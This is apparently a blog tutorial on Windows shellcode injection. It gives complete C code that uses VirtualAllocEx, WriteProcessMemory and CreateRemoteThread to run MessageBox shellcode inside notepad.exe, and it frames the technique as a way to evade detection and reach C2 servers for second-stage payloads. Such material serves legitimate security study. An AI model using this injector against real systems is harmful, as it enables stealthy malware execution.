Payload Injection

James Patrick
5 min readSep 20, 2023

Code injection is a way to transfer your payload from one process to another. In order for Payload Injection to work, the memory buffer needs to be at least the size of the shellcode.

Say our payload is executed in Word and we want to run an additional payload, such as a second stage and it needs to be downloaded from a C2, Word is not ideal since it doesn’t usually talk out to the internet and could get flagged.

We can migrate to a more legitimate process like Internet Explorer and then download from our C2. Another reason is to have a backup connection to the C2 to avoid the frustration of losing that one connection after an initial compromise.

Payload Injections usually happen in three steps:

  • Allocate Memory
  • Copy the shellcode
  • Execute the shellcode

Some classic methods of code injection include shellcode/payload injection via the Windows API with calls like CreateRemoteThread and WriteProcessMemory. Another is injecting a DLL on a disk.

The most popular combination uses VirtualAllocEX, WriteProcessMemory and CreateRemoteThread.

VirtualAllocEX is similar to VirtualAlloc but allows us to allocate a memory buffer within a remote process.

WriteProcessMemory copies the data to the process.

CreateRemoteThread is similar to CreateThread but allows us to specify which process should start the new thread.

Let’s Inject!
(https://github.com/flawdC0de/Ev1L/blob/main/SampleShellCodeInjection)

A sample of the code is below and can also be found in the link above.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

// MessageBox shellcode - 64-bit
unsigned char payload[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
...
};
unsigned int payload_len = 334;

int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);

return pid;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;

pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}
int main(void) {

int pid = 0;
HANDLE hProc = NULL;

pid = FindTarget("notepad.exe");

if (pid) {
printf("Notepad.exe PID = %d\n", pid);

// try to open target process
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);

if (hProc != NULL) {
Inject(hProc, payload, payload_len);
CloseHandle(hProc);
}
}
return 0;
}

We will be injecting some MessageBox shellcode into Notepad.exe. This is so we are able to show that the code was actually injected and executed with Notepad. First we will call FindTarget:

`FindTarget("notepad.exe");`

If it is able to find this process running it will print the PID:

printf("Notepad.exe PID = %d\n", pid);

If successful it will try to open the process and call the Inject function.

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;

pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}

The FindTarget function will call CreateToolhelp32Snapshot which will take a snapshot of all the processes running in memory.

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

Then we will use the Process32First and Process32Next functions to go through the snapshot and extract all the information about the processes from the snapshot. Procname will be called to compare it with the process name we are looking for which is “notepad”.

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}

The Inject function will use the previously discussed functions VirtualAllocEX, WriteProcessMemory and CreateRemoteThread.

VirtualAllocEx will create a memory buffer in the remote process (hProc) stored in the variable pRemoteCode which will be written via the WriteProcessMemory function. Then we use CreateRemoteThread in the remote process pointing to our pRemoteCode.

pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;

We will use our compile script to compile our .cpp file:
(https://github.com/flawdC0de/Ev1L/blob/main/compile.bat)

Before we run it we will start an instance of Notepad:

We run it and see a Message Box pop-up:

To verify it was actually running from notepad we will open Process Hacker and look at the notepad process containing the same PID:

To verify further, process hacker has a great tool called “Find window and thread” which we can drag it over the message box to get additional information about which process the Message Box belongs to:

In this case we see notepad.exe:

If we click on the memory tab, we can see the memory buffer allocated. If you look at the source code we are allocating some readable and executable memory:

We can sort by the “Protection” tab and search for readable and executable (RX).

We can right-click and read the memory contents and see our shellcode:

And also compare it with the source code:

We have injected code into another process!

--

--